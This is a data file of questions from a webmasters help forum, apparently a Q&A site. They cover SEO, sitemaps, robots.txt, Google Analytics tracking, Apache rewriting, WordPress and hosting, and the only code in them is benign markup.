{"id":"42577","title":"Facebook Like Boxes returning 500 Internal Server Error","text":"Since a few days I have seen several of my clients websites, our business website and even my own personal website starting to show blank space where the Facebook Like Box iframe used to be. Here's an example of the Facebook iframe code I'm using: <iframe src=\"http:\/\/www.facebook.com\/plugins\/likebox.php?id=140736345955440&width=296&connections=15&stream=no&header=no&height=325\" scrolling=\"no\" frameborder=\"0\" style=\"margin:-1px 0 0 -1px;border:none; overflow:hidden; width:296px; height:325px;\" allowtransparency=\"true\"><\/iframe> This code worked before but suddenly the iframe URL returns a 500 Internal Server Error from Facebook. Why is the iframe breaking and reporting 500 error?"}
{"id":"42575","title":"SoLoMo landingpage localized regionalized down to cities and SEO sitemap.xml","text":"I'm working on an SoLoMo (social local mobile) web application. How would you realize the site and the landingpages that they are seo and crawler friendly? Any best-practises out there? I know there is a lot reading out there for seo, urls, xml sitemaps. I read a lot. Seams like search engines become more sophisticated nowadays. Many new possibilities in the sitemap xml protocol. So I'm asking for up-to-date practical experiences! So maybe define the problem a little bit closer: For usability I prefer having one landingpage like facebook, foursquare, twitter with the url mydomain.com\/ for all incoming visitors because it is quite an act to set up a individual landingpage for every city. localizing and regionalizing this site is technically not a big deal. Depending on the ip, cookie and session i know the region and the city of the user and page areas can be individualized. Is there any way to tell google that this url is regionally individualized? That the same url maybe in english as well as german, french or spanish. I know I can set a alternative page url in the sitemap.xml. What happens if I link one and the same page with different languages? Why not link one and the same page for different regions, cities, streets this way? Is there anyway to tell google the site is regionalized for cities or areas? Are search engines and crawlers capable of this at all? Some of this is already implemented in the current version of the sitemap.xml protocol. Is this only working for the famous big sites since their websites are already linked from external sources having a extremely high page rank and public awareness? Are individual url landing pages for upcoming services necessary for seo?"}
{"id":"10825","title":"Weird Results A\/B Test in Google Website Optimizer","text":"I set up a test in Google Website Optimizer that has a 3 variations - original (A), B, and C. In order to further validate the results of the test, I added a variation C that is exactly the same as the original. And thats where the results get weird. 6 days into the test, the best performing variation is C. It outperforms the original by 18.4%! How is that possible? Do I now discount the results of this test entirely?"}
{"id":"56266","title":"How do I add Google Tag Manager on Blogger?","text":"I tried to paste the code generated through Google Tag Manager to my blog and I verified that the code was copied exactly, but always I get the same message error: > \"The reference to entity \"l\" must end with the ';' delimiter\""}
{"id":"10820","title":"Google new algorithm: My company have a 40 sites with different domains that some of their articles appears in my main website","text":"My company have a 40 sites with different domains that some of their articles appears in my main website with reference to their source. Our articles write by high level processionals in the field that they write about - we also pay them high salary. In recent google algorithm change my main site rating down very seriously. **What should we do to restore company main site google rating?** our solution and ideas that not working well: 1. rel=\"canonical\" to source website (we already have it before google change without results) 2. meta \"original-source\" but not have rating influence (we already have it before google change without results) Edit:: maybe we should delete rel=\"canonical\" from main website articles that refer to our other small websites (because this articles in main website not indexed in google)? Thanks in advance"}
{"id":"68157","title":"Recovering from an incorrectly deployed robots.txt?","text":"We accidentally deployed a robots.txt from our development site that disallowed all crawling. This has caused traffic to dip dramatically, and google results to report: > A description for this result is not available because of this site's > robots.txt – learn more. We've since corrected the robots.txt about a 1.5 weeks ago, and you can see our robots.txt here. However, search results still report the same robots.txt message. The same appears to be true for Bing. We've taken the following action: * Submitted site to be recrawled through google webmaster tools * Submitted a site map to google (basically doing everything possible to say \"Hey we're here! and we're crawlable!\") Indeed a lot of crawl activity seems to be happening lately, but still no description is crawled. I noticed this question where the problem was specific to a 303 redirect back to a disallowed path. We are 301 redirecting to \/blog, but crawling is allowed here. This redirect is due to a site redesign, wordpress paths for posts such as \/2012\/02\/12\/yadda yadda have been moved to \/blog\/2012\/02\/12. We 301 redirect to wordpress for \/blog to keep our google juice. However, the sitemap we submitted might have \/blog URLs. I'm not sure how much this matters. We clearly want to preserve google juice for URLs linked to us from before our redesign with the \/2012\/02\/... URLs. So perhaps this has prevented some content from getting recrawled? How can we get all of our content, with links pointed to our site from pre-and-post redesign reporting descriptions? How can we resolve this problem and get our search traffic back to where it used to be?"}
{"id":"7816","title":"Best way to distribute an ISO? (open source, so must be free)","text":"I want to distribute a LiveCD of my Open Source project. * ~300MB ISO file. * No revenue, so no money. * Around 1000 downloads per month expected. What is the best way to distribute it?"}
{"id":"57139","title":"Generating snapshots of Ajax content for BingBot vs GoogleBot","text":"We have a website whose content is generated dynamically via JavaScript. For the purpose of search engine indexing we also provide snapshots of the pages. Here are some examples: https:\/\/www.recreyo.com https:\/\/www.recreyo.com\/yangtze-river-cruise-china https:\/\/www.recreyo.com\/beijing-xian-train-china If you view the HTML source of one of these links, you will notice that there is content specified within \"noscript\" tags. This is a mirror of the dynamic JavaScript generated content that users will see, and has been put in place for search engine crawlers to process. Now GoogleBot has correctly processed the noscript content and displays them in search results, but BingBot is not indexing the pages. Google Results Bing Results I've made sure the sitemap has been submitted and waited for about four days. How do we solve the problem? Ideally, I'd like to do it the noscript way as it is simple and elegant. Alternatively, I could add the content in standard markup and use CSS to hide it, but I would like to avoid doing that if possible, because that is just unnecessary extra work for the browser. Does any have any insight into this problem? Specifically, is there any evidence that BingBot will not process content within noscript tags? Thanks."}
{"id":"57138","title":"Trouble with encode URL rewriting ASP.NET","text":"Some mounths ago I used links to image as: http:\/\/rielter77.ru\/imgrs.axd?w=300&file=24587263-7fdf-415a-86fe-9de5f4c18fbb.jpg 3 weeks ago I create a URL rewrite rule: from http:\/\/rielter77.ru\/imgrs.axd?w=300&file=24587263-7fdf-415a-86fe-9de5f4c18fbb.jpg to http:\/\/rielter77.ru\/images\/300\/24587263-7fdf-415a-86fe-9de5f4c18fbb.jpg if I searching my image in google I see my images and they URL as: http:\/\/rielter77.ru\/imgrs.axd%3Fw%3D300%26file%3D24587263-7fdf-415a-86fe-9de5f4c18fbb.jpg and URL rewrite rule doesn't work with this URL. Why?"}
{"id":"53164","title":"Where to put rich data markups?","text":"I have a company website which I'm trying to make rich snippets. Where should I put the `<span itemscope..` tags for Corporation? In every page? Or just the \"about us\" and\/or \"contact\" pages? ## P.S Will it work if I use more than one page? For example, the address info is in \"Contact\" page, whereas employees info is in \"About Us\" page. can I merge two tags on different pages?"}
{"id":"57130","title":"Google Analytics goal","text":"I need help with setting up Google Analytics Goal. Actually I have set it up but I have problem connecting the site with the goal. I have two optional goals - destination and event. Event goal is supposed fire when a contact form is submitted. The destination form is is exactly the same as a goal but it is fired when redirect url is visited. This url is provided after successful form submission so I think this is the better one. I have set it up in the GA admin panel but I don't know what to do next. When adding event tracking I need to add the snippet of code in the anchor as an attribute. What should I do now? Thanks"}
{"id":"42680","title":"Compromised private RSA key","text":"What sorts of problems can be caused by a compromised private RSA key? Is this even that big of a deal? I'm getting very little specific info on Google. :("}
{"id":"68153","title":"My WordPress site is not tracked by Google Analytics anymore","text":"I have changed my WordPress theme. Suddenly I could see that Google Analytics is not tracking anymore for the past two days. How to re-verify that? Also I have enable tracking code in _All in one SEO plugin_ today?"}
{"id":"21088","title":"Migrating Wordpress blog to New Webhosts, something is adding a # and gibberish","text":"I just migrated a WordPress blog from one host provider to another. Did a clean install on the new server, and everything seems to be working fine except all the permalinks for some reason add a string on the end like this: http:\/\/keefermadness.com\/2011\/09\/behind-the-scenes-of-my-nasa-grail- experience-day-one-am#.Tpq5DpzpP-g That #.Tpq5DpzpP-g shouldn't be there. Any idea where this is coming from and how to eliminate it? Thanks, Ryan"}
{"id":"32136","title":"In apache, how to map site.example.com to example.com\/site","text":"I'm sure there is documentation for how to do this, but I don't know what it's called so I don't even know how to start searching. On my webserver, `example.com`, i have a site called `site`. It's accessed by going to `example.com\/site`. I want it instead to be `site.example.com`. Can someone point me to apache documentation to enable this?"}
{"id":"16377","title":"Amazon Associates - Reporting on revenue generated by particular pages?","text":"Is there any feature in the Amazon affiliates system which will allow be to know, for a given month, what revenue was generated by individual pages? Perhaps e.g. by adding a querystring param to the referral link?"}
{"id":"16373","title":"Google Doorway Penatly","text":"Ok so i have been trying to figure this out for about a month now. The case: I have a blog network with unique content on each post and at the end of each post each blog links to x1.com\/unique-url-for-each-post before linking to x1 in the post i use a redirect with like this: theblog.com -> redirect-url.com\/redirect.php?=x1.com\/unique-url-for-each-post -> x1.com\/unique-url-for-each-post (all links at the bottom of the posts have no-follow) For some strange reason about a month ago all blogs which i have done this on lost around 90% of their traffic. Could this be the cause of the penalty? Is this type of linking considered as link farms by google? All help and tips are greatly appreciated!"}
{"id":"54444","title":"Prevent azure subdomain indexation","text":"Let me explain my situation, I have an azure website (with azurewebsites.net sub domain), and a custom domain.com, built with asp.net MVC Both are being indexed by Google, but I've noticed the custom domain is being penalized and it doesn't show up in results, it only shows when I search for \"site:domain.com\" I want to remove and block the azurewebsites.net subdomain from Google. I've read the \"possible\" solutions: * Adding robots.txt: won't work, because the subdomain and the domain are the exact same content, so subdomain.azures.net\/robots.txt will lead to domain.com\/robots.txt, removing the domain as well. * Adding the tag, is the same situation as the previous point. * I'm using a CNAME register to redirect the domain to the subdomain, so I can't redirect to a sub directory. Do you have any other ideas?"}
{"id":"59903","title":"Why doesn't Google remove my noindex and 404 pages?","text":"I've added 404 error codes and no-index meta tag to pages quite some time ago. However, when I check in Google Webmaster Tools, looking at the graph of \"removed\" pages from their index, I see very low numbers that don't correspond with the amount of error codes and no-index tags I have on my pages. I can also reach those pages through Google Search. I've double checked the implementation and it seems fine. Can there be another reason?"}
{"id":"32914","title":"Are these hacking attempts or something less sinister?","text":"I just had a look through our web server error logs, and Terminal services is reporting: \"Remote session from client name a exceeded the maximum allowed failed logon attempts. The session was forcibly terminated.\" Hundreds of times, every 10.5 seconds or so for a period of about 5-10 minutes, once at 2pm yesterday and once again at about 1am this morning. We CURRENTLY have RDP open to the outside, as I am just completing the setup and now and then I\/Others need to jump on from an outside office\/location (VPN isn't an option) As these are so regular, am I right in assuming that they may be the result of some sort of dictionary attack? or could something like an internal admin's hung session cause such a mass of events? (Win Server 2008 R2)"}
{"id":"26272","title":"How does Facebook advertising tool calculate estimated reach?","text":"I'm trying to understand how Facebook advertising calculates the reach. Here is the issue: I have 10.000 fans from my country, but when I select \"show only to my fans\", the reach is estimated do 6.000. Why so?"}
{"id":"53987","title":"What are the search engine affects of registering the same domain on multiple top level domains?","text":"I'm looking to register a few more domains for my company, I have my- company.com at the moment, but now require my-company.com.au and my-company.nl and others, for example `.ie`. I'm running through my options and wondering what is the best. 1. Duplicate all the content on the .com package and make a replica at the other domains 2. Buy the other domains but do a 301 redirect back to the .com domain 3. Create a full new website with different content for the new domains, thus having no text duplication We currently sell all over the world so would like to raise our search rankings in various countries. Can this be done by buying the domain in the country, and if so, how will the above methods affect our search rankings? Any other suggestions are welcome!"}
{"id":"57359","title":"Cross domain conversion tracking using goal funnel visualiation","text":"We have a product signup process that takes the user from our website to a signup form on a separate tld and then, following successful signup, they are directed to the payment and product selection stage which is on a subdomain of the starting domain. website1.com -> signup.website2.com -> controlpanel.website1.com We have installed the the new analytics.js tracking code on each of the sites and we are loading the auto linking module for multiple \/cross domain tracking. We are getting real time data from users browsing controlpanel.website1.com so the tracking is definitely working. To see drop off rates in our checkout process we have set up two goals to track different behaviour. Unfortunately absolutely no data is being collected in these goals. This is very odd as we have been testing the processes using dummy user accounts to simulate a signup in order to test the tracking so there should have been some data collected. So here are my questions.. 1. When setting up a goal do we need to have every single step in order, or can we skip a step and still have the goal tracked? 2. We have a feeling that each link in the process needs to be tracked individually. Is this correct?"}
{"id":"34844","title":"Good idea to use Google Sites for static content and custom PHP for dynamic","text":"We have a site based upon Google Sites. Now we would like to create a login area (HTTPS) with a mixture of dynamic and static content. Is it a good idea to utilize Google Sites and use iFrames for the dynamic parts of the content? The reason why I like Google Sites, is that it is so easy to change content and immediately see what it will look like."}
{"id":"20988","title":"Override .htaccess from parent directory","text":"I have a local LAMP stack (without the MySQL. LAP stack? Anyways..) and I am using this as a development environment for a production website. The site is placed in a sub-directory of the Apache2 document root and managed by Git. My Issue is: I have an .htaccess file tracked in that subdir by Git for URL rewriting on the production server. On my local test site, these rewrite rules break almost everything (because the site is in a subdir, not the doc-root). Is there any way to override\/disable that .htaccess file without modifying anything in the subdir? My doc root is \/var\/www\/ with the site being hosted at \/var\/www\/foo\/"}
{"id":"9370","title":"Redesigning foreign website for my portfolio and offer it?","text":"I've had an interest in web design for a long time and am constantly trying to learn something new. I do not have any references in my portfolio, but would like to start freelancing. Is it bad practice to redesign a website from a local company and use it for my portfolio? Do I infringe any copyright? What if I offer the redesign to the company? Has someone done this before? If so, share your experiences."}
{"id":"53306","title":"Is the programmatic addition of keywords and descriptions worthwhile?","text":"I see here: http:\/\/wiki.asp.net\/page.aspx\/1648\/seo-for-aspnet-web-site\/ this code: protected void Page_Init(object sender, EventArgs e) { \/\/ Add meta description tag HtmlMeta metaDescription = new HtmlMeta(); metaDescription.Name = \"Description\"; metaDescription.Content = \"All winners of major book, movie, and music awards, namely Pulitzers, National Book Awards, National Outdoors Book Awards, National Book Critics Circle, Hugos, Oscars\/Academy Awards, Sundance, Cannes, Golden Globes, Grammies, American Music Awards, Country Music Awards, Indies\"; Page.Header.Controls.Add(metaDescription); \/\/ Add meta keywords tag HtmlMeta metaKeywords = new HtmlMeta(); metaKeywords.Name = \"Keywords\"; metaKeywords.Content = \"Books, Movies, Music, Prizes, Awards, Pulitzer, Pulitzers, National Book Critics Circle, National Book Awards, National Outdoors Book Awards, Hugos, Academy Awards, Oscars, Golden Globe, Cannes, Cannes Film Festival, Sundance, Sundance Film Festival, Grammy, Grammies, American Music Awards, AMA, Country Music Awards, CMA, Indies, Indies Music Awards, Amazon\"; Page.Header.Controls.Add(metaKeywords); } ...but if you already have the description and keywords in your html, like so: <meta name=\"keywords\" content=\"Books, Movies, Music, Prizes, Awards, Pulitzer, Pulitzers, National Book Critics Circle, National Book Awards, National Outdoors Book Awards, Hugos, Academy Awards, Oscars, Golden Globe, Cannes, Cannes Film Festival, Sundance, Sundance Film Festival, Grammy, Grammies, American Music Awards, AMA, Country Music Awards, CMA, Indies, Indies Music Awards, Amazon\" \/> <meta name=\"description\" content=\"All winners of major book, movie, and music awards, namely Pulitzers, National Book Awards, National Outdoors Book Awards, National Book Critics Circle, Hugos, Oscars\/Academy Awards, Sundance, Cannes, Golden Globes, Grammies, American Music Awards, Country Music Awards, Indies\" \/> ...would adding the code be a waste of time? What effect would it have?"}
{"id":"57357","title":"sitemap.xml approach on non-indexed site","text":"On a site that has a _robots.txt_ file that disallows all crawling... User-agent: * Disallow: \/ ...does it matter what the _sitemap.xml_ content is? Is it better, or does it make a difference at all, if requests to _sitemap.xml_ return a 404, a 403, or an empty XML file?"}
{"id":"51294","title":"Using post title and file name as alt text?","text":"There is this plugin in WordPress called \"SEO Friendly Images,\" it replaces the `alt` text in all of the images on my site with the combined version of the file name and post title. For example if the title of my page is \" **How to Start a Car** \". And then the file name of the image is \" **car-keys.png** \". The plugin will make the `alt` text of the image \" **car keys How to Start a Car** \". The URL for this plugin is: http:\/\/wordpress.org\/plugins\/seo-image\/. It sure seems like it got some good reviews (and 1,000,000+ downloads), however would this be a good idea to use? I don't want to mess up my site's SEO and get penalized for something like keyword stuffing, etc. by Penguin\/Panda."}
{"id":"49194","title":"Why is the bounce rate high and how do I improve it?","text":"I recently launched a site for reviews on mobile application games and after a couple weeks of running it I have a really high bounce rate 92%. I was just wondering if anyone could have a look at my site and give me your thoughts on it and how I could improve this bounce rate it would be very much appreciated, thanks in advance! _Website link_ http:\/\/www.theapplist.com\/"}
{"id":"49195","title":"What is the difference between not found and not followed in Google Webmaster Tools?","text":"In Google Webmaster Tools under Crawl Errors I found 18 Not Found and 16 Not Followed errors. What does this mean, and what is the difference between them?"}
{"id":"49196","title":"Understanding product search links in sitemaps","text":"I am looking at sitemaps of a few large websites like `ebay.com` and I noticed that the URLs in the sitemap point to search results rather than the actual product page and I have confirmed that all the URLs are pointing to search results of some keywords. For example this is a sample URL in the sitemap of `ebay.com`, it points to search results of a set of keywords passed in the URL. http:\/\/www.ebay.com\/sch\/i.html?_nkw=womens+spenco+sandals+9 Is this a best practice to not to include the actual product pages in the sitemap to reduce the sitemap size? if it is indeed the case then how do the actual product pages get discovered then? Any guidance understanding this would be greatly apprecitated."}
{"id":"21267","title":"How to maximise revenue from limited number of advertisers","text":"Suppose you have a page that ranks very well for a very specific subject (and gets a reasonable amount of traffic). You don't provide what the visitors are looking for but there are **just 3** companies in the marketplace who do. What strategies could you use to place advertisements on that page to get the maximum revenue? Some initial thoughts * Adsense - obvious, but I thought this was better suited to long tail situations rather than a very targeted traffic with a limited number of potential advertisers? * Affiliate Links (assuming some\/all of the 3 companies do these, but what if they don't?) * Auction off advertising space directly with the 3 companies involved. In which case would you do either as * 'Sealed bids' - where they get to place one offer, highest wins. No bidding war but chance to get more than 'market price' as determined via auction. * Do as traditional auction where bidders can see whats been bid, but not by whom - could introduce bidding war."}
{"id":"49193","title":"Why subdomains of Blogspot\/WordPress like sites are treated as different domains or sites?","text":"As I know, `maps.google.com` or `mail.google.com` all comes under the same domain and its all are subdomain. Entire web treats these subdomain as the part of main domain and they have same Alexa rank, PageRank and all. But in another hand, take a look on `blogspot.com`\/`wordpress.com`\/`webs.com`; these are different sites but blogs or websites under those domains are treated as different sites. Its new URL, all have different PageRank and Alexa rank as well. Tts about millions of subdomains under those few domain, have almost similar IP address, hosting and CMS, still why they are called different domains?"}
{"id":"56886","title":"Dozens of private IP addresses in Google Analytics","text":"I was reviewing my Analytics for the past year and noticed a couple dozen different IP addresses showing up as referrals. I tracked a few of them down to be Google (why are Google IP addresses coming in as referrals?), but there are still quite a handful that come from \"private\" IP addresses: `10.x.x.x` `192.x.x.x` `172.x.x.x` for the `10.x.x.x` range of IP addresses, they are all using Port `15871` which I found interesting. I have the company IP address blocked from Analytics, so it shouldn't be any internal visits. Any clue what's going on here?"}
{"id":"56885","title":"How to prevent Blogger from converting relative URLs to absolute URLs","text":"If you create relative links in Blogger, it tends to automatically convert them into absolute links or to add `http:\/\/` in front of the URL. Is there any way to prevent this? **Update** : I have reported this to the Blogger forum as an issue. Let's hope Google will fix it."}
{"id":"34497","title":"In Google Webmaster Tools we have 3 sitemaps attributed to 1 domain","text":"I have a website that has been on the internet for almost 10 years created in \"Microsoft FrontPage\" with over 900 pages. Currently in Google Webmaster tools it shows up as 2 domains and 3 sitemaps: * `http:\/\/www.example.com` * `example.com` * `hostedsitemaps.com` Furthermore, since we were having hard to placing the XML sitemap on our site(FrontPage Issues) we decided to hire **pro-sitemaps.com** to create, host and upload the XML file which they did. Thus, I have another site `hostedsitemaps.com` on our webmaster tools for the site. **`Hostedsitemaps.com` displays:** 1. 900 urls submitted 800 Indexed. 2. Crawl errors and Search queries: No data available. **`www.example.com` displays:** 1. 889 URLs submitted 1 URLs indexed. 2. Crawl Errors: 14 Soft 404 796 Not found 3. Search Queries: 8104 **`example.com` displays:** 1. 889 URLs submitted 1 URLs indexed 2. Crawl errors: 48 Soft 404 91 Not found 3. Search Queries: 8104 **My questions and need for help are as followed:** **1.** Why are our domain based sites in webmaster tools (`example.com` and `www.example.com`) showing only 1 URL indexed while the `hostedsitemap.com` has 800 indexed? **2**. Should we have 3 domains configured for this \"one\" domain in Google Webmaster tools? **3.** Should we eliminate\/delete the `hostedsitemap.com` from webmaster tools completely and take off that XML sitemap? **4** Does having `example.com` and `www.example.com` impact web ranking? **5.** Any other thoughts or help in this very complicated matter for us."}
{"id":"30398","title":"possible to use an IP derived from Dynamic DNS in htaccess IP allow\/deny commands?","text":"On a website I manage, I want to use an .htaccess file to allow access to a certain administrative directory only from my home IP address, which is dynamically assigned by my ISP and therefore changes -- not regularly, but it does happen. I also have an account from DynDNS and have one of the auto-update clients making sure it always points to my actual home IP address. I don't actually host anything at home; I just have set up the Dynamic DNS account. Is there any way to combine these features: that is, is it possible write the .htaccess allow\/deny commands at my outside webhost in a way that my home IP address is not hard coded into the command, but instead is somehow derived from the Domain Name that the DynDNS has assigned me, by doing a real-time lookup every time the directory's .htaccess file is hit?"}
{"id":"2418","title":"Are there any pre-fab CSS Sprites and styles I can apply to my page?","text":"I'm more of a computer programmer than a designer and I need some sample CSS images that includes images for: * TabControl * Close Button for TabControl * Folder Open\/Close * Buttons * etc... Does any premade themes exist that I just start using? I don't want to start at zero and learn everything at once!"}
{"id":"31196","title":"Facebook contest policy no-no?","text":"I would like to post a link on a Facebook page where it will exit Facebook entirely and go to a client's website, where people will be on a page (client's) where they can enter their e-mail address to be entered in a temporary database file with rules and disclosures etc., for a draw once the number of entries reaches 100 for instance. Once the number of entries reaches 100, a random winner is picked and notified via E-mail. The functionality is as follows: * A link is place on a Facebook page leading to an external page * The page is a form to merely enter their email address for a contest * The email is placed in a temporary file * An automatic E-mail is sent to the address used for confirmation using SHAH-256 hash * The person receives the Email saying something to the affect \"Please confirm your Email address etc. - If you did not authorize this, simply ignore this message and no further action will be taken\". * If the person clicks on the confirmation link, the Email is then stored in the database and the person is again notified saying \"Thank you for signing up etc.\" * Once others do the same process and the database reaches a certain number, the form is no longer accessible and automatically picks a random Email. * Once picked, an Email is automatically sent to the winner stating the instructions, and notifying me also. * Once that person clicks yet another confirmation link, the database is then automatically deleted. I have built this myself and have no intentions of breaking any rules, nor jeopardize the work\/time\/energy I have put into this project. Is this allowed?"}
{"id":"58789","title":"What is the correct format and attributes for adding a PDF to an XML sitemap?","text":"I have found numerous questions and blogs about including PDF files in an XML sitemap but cannot find a single one that gives a working example or which attributes to use: What document types can be included in an XML sitemap? Should I include PDF files in my sitemap.xml On Google's Sitemap Guide it states: > The following table outlines the tags required for Sitemaps listing web > URLs. To add more detailed information about specific content types, see > video, images, mobile, News, and software source code. Should .PDF be treated as a regular URL or News or is this out of date and there is one specifically for .PDF files? Most of my PDFs are not news but brochures, case studies, and high resolution image files... speaking of should the high resolution image files be treating with `<image:image>` then set the `<image:loc>` to the .PDF?"}
{"id":"3276","title":"IE6 and IE7 rendering issues","text":"How do I get my pages in IE6 and IE7 to render the height like in IE8 and Firefox? right now in both IE8 and Firefox the page dimensions is 1024 x 800 but in IE6 the dimensions are 1024 x 859 and IE7 the dimensions are 1024 x 855."}
{"id":"14059","title":"www is not displayed in Google Search result","text":"I have a website at `www.matrimonyteam.com`; when I perform a Google search it is only displaying `matrimonyteam.com` in search results rather than `www.matrimonyteam.com`. Is there is any setting required at the time of hosting or in a config file to force the full domain name, with the `www`, to appear in search results?"}
{"id":"59677","title":"Is there an advantage to using HTML versus PDF for printable product information?","text":"I want to create a printable informational sheet for the products on my website. I have over 1000 different products. Each product has a product page and each product page needs a link which will display the product's info sheet and offer an easy print option. Some factors are: * Info sheets will contain product specific info which will come from a database. * Info sheets may include product specific images, stored on the web server. * Info sheets will contain info that is user specific (supplied by form fields). * We are considering emailing a copy of the info sheets. * Info sheets will display the company logo and simple design elements. I have lots of reasons to use HTML: * Less CPU intensive on server * No need to save or delete files * Can be shown directly in emails * Can be formatted with the same css as my website * Versions automatically change as the database changes. * Less cumbersome to view and download I don't have as many reasons to use PDF: * Widely accepted standard. * Files can be saved by the client easily. * Files can be shared. HTML looks like the way to go, but this is new territory for me. Are there other compelling reasons to use one over the other?"}
{"id":"1924","title":"Video Player for hosted videos","text":"I'd like to add videos for a webpage, but I don't want to use Youtube or any other site to host them, i'd like to host them on my own server. what are some good tools availible for video players on a site?"}
{"id":"14050","title":"Domain expired- possible to find content that was on websites?","text":"I had a domain that I let expire, and was subsequently purchased by someone else. I have several links on my website that are now directed towards their new site. I was wondering if it is possible to find a cached version of the website from when I still owned it, and that way I can save the materials from that page."}
{"id":"58150","title":"What do you do if you don't want to put a keyword in your title?","text":"Suppose you have a website about a subject, for instance, popcorn. Everything in your site will be about popcorn and your regular visitors are popcorn enthusiasts who will understand that even articles without the keyword \"popcorn\" in the title are about popcorn. How do you tell this to Google, if meta tags are not being used any more? Or do you have to keep adding \"popcorn\" to titles to have your articles show up in searches and news alerts? It's very awkward to keep adding a word to titles for this reason. For instance, your title is `Why corn is good for you`, but it won't show up in Google searches, so do you really have to change it to \"Why corn, from which popcorn is made, is good for you\"? I've noticed that adding the keyword to the website name, as in `Why corn is good for you | Popcorn Every Day` is not good enough."}
{"id":"14054","title":"css issue in wordpress","text":"I am using a WordPress plugin and it has collapse arrows in the option. However, by default the word press theme has bluestar(*) being used for ul. In the page http:\/\/everything-evans.com\/, on the sidebar, under the title 'In the past', I want to display the collapsing arrows, and the star and yellow dots should disappear. Let me know how to achieve this. Thanks."}
{"id":"41082","title":"How to manage Google Webmaster Tools for Multiple Clients","text":"I need to set up Google Webmaster Tools for several of my clients. Is it alright to add multiple sites under my own Google account and then add clients as other owners if they need access? If further down the line my clients decide they want control would setting it up like this cause problems? Any advice appreciated, thanks."}
{"id":"41083","title":"How do you get Google product rich snippets working on WooCommerce","text":"I have just set up a WooCommerce site and I am trying to get the reviews on it to show up in the Google rich snippets. How can i do this? Is there any out- the-box plugins to make it work? Currently it pulls in some data in the Rich Snippets Structured Data Testing Tool but it does not show the 'Star rating' and 'Price' in the search results?"}
{"id":"41081","title":"Indexing a multilingual website","text":"I am trying to create a multilingual website using the Django framework, all default content is English. I have added a native translation (Dutch). https:\/\/mydomain.com\/ redirects to the user request language setting. (This is default behaviour by adding Django's LocaleMiddleware) > LocaleMiddleware tries to determine the user's language preference by > following this algorithm: > > First, it looks for the language prefix in the requested URL. This is only > performed when you are using the i18n_patterns function in your root > URLconf. See Internationalization: in URL patterns for more information > about the language prefix and how to internationalize URL patterns. > > Failing that, it looks for a django_language key in the current user's > session. > > Failing that, it looks for a cookie. > > The name of the cookie used is set by the LANGUAGE_COOKIE_NAME setting. (The > default name is django_language.) > > Failing that, it looks at the Accept-Language HTTP header. This header is > sent by your browser and tells the server which language(s) you prefer, in > order by priority. Django tries each language in the header until it finds > one with available translations. > > Failing that, it uses the global LANGUAGE_CODE setting. So visiting '\/' will result to either: https:\/\/mydomain.com\/en\/ or https:\/\/mydomain.com\/nl\/ Title, description, keywords and content are language based so every page is (almost) entirely translated. So: https:\/\/mydomain.com\/en\/my-awesome-page\/ has a Dutch flag (language switch) that holds this link: https:\/\/mydomain.com\/nl\/mijn-fantastische-pagina\/ This works great. Also my page's header holds alternate content based upon the language variable, here's the pseudo code: <html lang=\"{{ current_language }}\" \/> <head> {% for lang_code in other_languages %} <link rel=\"alternate\" hreflang=\"{{ lang_code }}\" href=\"{% url current_url language=lang_code %}\"\/> {% endfor %} <\/head> This will result the english page to look like this: <html lang=\"en\" \/> <head> <link rel=\"alternate\" hreflang=\"nl\" href=\"https:\/\/mydomain.com\/nl\/mijn-fantastische-pagina\/\"\/> <\/head> Now my problem is Google indexes my Homepage in english, while I want dutch visitors to see the dutch title and description in google's results (unless they look for the english translation). I believe the problem might be due to auto redirecting the root url ('\/') or automatically setting the language, should I exclude robots somehow? I have read this article but I haven't figured out the problem: http:\/\/googlewebmastercentral.blogspot.nl\/2010\/03\/working-with-multilingual- websites.html Also if I add a site map to a multilingual site, would it be better to add a different sitemap for each language, or make one large tree based on language roots?"}
{"id":"54971","title":"Is there a permalink to the latest version of Joomla (zip archive)?","text":"I'm trying to automate WHM to download and install Joomla into any new cPanel accounts I create, rather than doing it manually each time. However I can't find any permalink to the latest version of Joomla that I can use to grab the required zip. Does one exist?"}
{"id":"52232","title":"Huge spike in traffic tracked by Google Analytics from Safari browsers","text":"My site `urbanindo.com` recently experienced huge spike in traffic tracked by Google Analytics. The huge spike sometime shows in several same pages.  This is odd because I rarely experienced that much traffic before. Some pages can have hundreds of visitors at the same time. But when I read the webserver log, those pages only showed up in only one or two entries, not hundreds like the GA showed. But the only similar thing about the entries is that they are using similar browser agent. Mozilla\/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit\/534.46 (KHTML, like Gecko) Version\/5.1 Mobile\/9B206 Safari\/7534.48.3 Mozilla\/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit\/534.46 (KHTML, like Gecko) Version\/5.1 Mobile\/9B206 Safari\/7534.48.3 And when I opened the **Google Analytics > Audience > Technology > Browsers & OS** and I plotted the chart based on the browsers, I saw that the huge spike came from Safari.  This huge spikes started to happen since the beginning of this August, which happens to be when I use multiple webservers behind load balancer (although I'm pretty sure those two are not relevant). Is there something wrong with my GA configuration?"}
{"id":"48218","title":"Need to redirect all files\/folders under subfolder but leave subfolder alone","text":"I hope my title makes sense. Here is what I have: On our previous website, we had URLs similar to the following: www.example.com\/support\/BIOS\/JXT\/0ABWDA22.zip This same file on our new site has the structure: www.example.com\/wp-content\/uploads\/support\/BIOS\/JXT\/0ABWDA22.zip However our new site also has a page located at: www.example.com\/support so I cannot use something like ^\/support\/(.*) as it rewrites and breaks the main support page. I am looking for any suggestions. I thought that perhaps the easiest way to handle this would be to ONLY rewrite urls where there is a file extension present? I have been googling for this very thing but haven't really stumbled across a solution as of yet. Thanks"}
{"id":"54307","title":"Australian Government Locator Service (AGLS) Metadata - Is it widely adopted?","text":"Recently, I have seen in a couple sites around Australia's meta data AGLS tags. <meta name=\"AGLS.Audience\" scheme=\"agls-audience\" content=\"All\"\/> <meta name=\"DC.Publisher\" scheme=\"AglsAgent\" content=\"Hyundai\"\/> I have never seen this kind of mark-up before and discovered: http:\/\/www.agls.gov.au\/ Just wondering whether there is a big community \/ support out there for the adopting these tags? Any thoughts would be great."}
{"id":"14236","title":"Subdomains vs folders, for multi account\/users application","text":"So, for a multi user web app, what is better: http:\/\/username.domain.com Or http:\/\/domain.com\/username I would like to get feedback about security, scalability and maintenance specifically, app is php based, so it is .htaccess based for url rewriting."}
